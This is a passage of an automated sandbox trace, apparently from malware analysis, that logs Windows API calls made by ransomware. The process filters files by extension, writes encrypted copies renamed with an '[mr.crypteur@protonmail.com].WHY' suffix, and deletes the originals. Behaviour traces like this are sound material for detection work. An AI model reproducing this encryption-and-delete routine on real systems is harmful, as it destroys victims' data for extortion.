(lpString1=".zip", lpString2=".PNG") returned 1 [0227.486] lstrlenW (lpString=".rar") returned 4 [0227.486] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0227.486] lstrlenW (lpString=".bz2") returned 4 [0227.486] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0227.486] lstrlenW (lpString=".7z") returned 3 [0227.486] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0227.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.486] lstrlenW (lpString=".dbf") returned 4 [0227.486] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0227.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.487] lstrlenW (lpString=".1cd") returned 4 [0227.487] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0227.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.487] lstrlenW (lpString=".jpg") returned 4 [0227.487] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0227.487] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0227.488] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0227.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.488] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1439) returned 1 [0227.489] CloseHandle (hObject=0x2d0) returned 1 [0227.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0227.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0227.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0227.490] lstrlenW (lpString=".doc") returned 4 [0227.490] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.490] lstrlenW (lpString=".docx") returned 5 [0227.490] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.490] lstrlenW (lpString=".pdf") returned 4 [0227.490] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.490] lstrlenW (lpString=".xls") returned 4 [0227.490] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.490] lstrlenW (lpString=".xlsx") returned 5 [0227.490] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.491] lstrlenW (lpString=".ppt") returned 4 [0227.491] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0227.491] lstrlenW (lpString=".zip") returned 4 [0227.491] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.491] lstrlenW (lpString=".rar") returned 4 [0227.491] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.491] lstrlenW (lpString=".bz2") returned 4 [0227.491] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.491] lstrlenW (lpString=".7z") returned 3 [0227.491] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0227.491] lstrlenW (lpString=".dbf") returned 4 [0227.491] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.540] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.541] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.542] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.544] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.546] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.554] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.555] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.753] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.754] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0232.232] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.232] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0232.237] GetLastError () returned 0x0 [0232.237] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x712e, lpOverlapped=0x0) returned 1 [0232.588] WriteFile (in: hFile=0x394, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x7130, lpOverlapped=0x0) returned 1 [0232.593] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.593] WriteFile (in: hFile=0x394, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0232.594] SetEndOfFile (hFile=0x394) returned 1 [0232.594] CloseHandle (hObject=0x394) returned 1 [0232.596] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.596] SetEndOfFile (hFile=0x390) returned 1 [0232.623] CloseHandle (hObject=0x390) returned 1 [0232.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0232.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.834] lstrlenW (lpString=".doc") returned 4 [0232.834] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.834] lstrlenW (lpString=".docx") returned 5 [0232.834] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0232.834] lstrlenW (lpString=".pdf") returned 4 [0232.834] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.834] lstrlenW (lpString=".xls") returned 4 [0232.834] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.834] lstrlenW (lpString=".xlsx") returned 5 [0232.834] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0232.834] lstrlenW (lpString=".ppt") returned 4 [0232.834] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.835] lstrlenW (lpString=".zip") returned 4 [0232.835] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.835] lstrlenW (lpString=".rar") returned 4 [0232.835] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.835] lstrlenW (lpString=".bz2") returned 4 [0232.835] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.835] lstrlenW (lpString=".7z") returned 3 [0232.835] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.835] lstrlenW (lpString=".dbf") returned 4 [0232.835] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.836] lstrlenW (lpString=".1cd") returned 4 [0232.836] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.836] lstrlenW (lpString=".jpg") returned 4 [0232.836] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.836] lstrlenW (lpString=".doc") returned 4 [0232.836] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.836] lstrlenW (lpString=".docx") returned 5 [0232.836] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0232.837] lstrlenW (lpString=".pdf") returned 4 [0232.837] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.837] lstrlenW (lpString=".xls") returned 4 [0232.837] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.837] lstrlenW (lpString=".xlsx") returned 5 [0232.837] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0232.837] lstrlenW (lpString=".ppt") returned 4 [0232.837] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.837] lstrlenW (lpString=".zip") returned 4 [0232.837] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.837] lstrlenW (lpString=".rar") returned 4 [0232.837] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.838] lstrlenW (lpString=".bz2") returned 4 [0232.838] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.838] lstrlenW (lpString=".7z") returned 3 [0232.838] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.838] lstrlenW (lpString=".dbf") returned 4 [0232.838] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.838] lstrlenW (lpString=".1cd") returned 4 [0232.838] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0232.838] lstrlenW (lpString=".jpg") returned 4 [0232.839] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.839] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0232.839] lstrlenW (lpString="AG00037_.GIF") returned 12 [0232.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0232.846] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=6684) returned 1 [0232.847] CloseHandle (hObject=0x384) returned 1 [0232.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0232.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0232.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0232.961] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.961] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0232.963] GetLastError () returned 0x0 [0232.963] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0232.988] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0232.991] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.991] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.991] SetEndOfFile (hFile=0x37c) returned 1 [0233.013] CloseHandle (hObject=0x37c) returned 1 [0233.028] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.028] SetEndOfFile (hFile=0x38c) returned 1 [0233.117] CloseHandle (hObject=0x38c) returned 1 [0233.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0233.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.119] lstrlenW (lpString=".doc") returned 4 [0233.119] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.119] lstrlenW (lpString=".docx") returned 5 [0233.119] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.119] lstrlenW (lpString=".pdf") returned 4 [0233.119] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.119] lstrlenW (lpString=".xls") returned 4 [0233.119] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.119] lstrlenW (lpString=".xlsx") returned 5 [0233.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.120] lstrlenW (lpString=".ppt") returned 4 [0233.120] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.120] lstrlenW (lpString=".zip") returned 4 [0233.120] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.122] lstrlenW (lpString=".rar") returned 4 [0233.122] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.122] lstrlenW (lpString=".bz2") returned 4 [0233.122] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.122] lstrlenW (lpString=".7z") returned 3 [0233.122] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.122] lstrlenW (lpString=".dbf") returned 4 [0233.123] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.123] lstrlenW (lpString=".1cd") returned 4 [0233.124] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.124] lstrlenW (lpString=".jpg") returned 4 [0233.124] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.124] lstrlenW (lpString=".doc") returned 4 [0233.124] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.124] lstrlenW (lpString=".docx") returned 5 [0233.124] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.124] lstrlenW (lpString=".pdf") returned 4 [0233.125] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.125] lstrlenW (lpString=".xls") returned 4 [0233.125] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.125] lstrlenW (lpString=".xlsx") returned 5 [0233.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.125] lstrlenW (lpString=".ppt") returned 4 [0233.125] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.125] lstrlenW (lpString=".zip") returned 4 [0233.125] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.125] lstrlenW (lpString=".rar") returned 4 [0233.125] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.126] lstrlenW (lpString=".bz2") returned 4 [0233.126] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.126] lstrlenW (lpString=".7z") returned 3 [0233.126] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.126] lstrlenW (lpString=".dbf") returned 4 [0233.126] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.126] lstrlenW (lpString=".1cd") returned 4 [0233.126] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0233.126] lstrlenW (lpString=".jpg") returned 4 [0233.126] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.231] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.232] lstrlenW (lpString="AG00052_.GIF") returned 12 [0233.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0233.333] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=7686) returned 1 [0233.333] CloseHandle (hObject=0x380) returned 1 [0233.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0233.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), 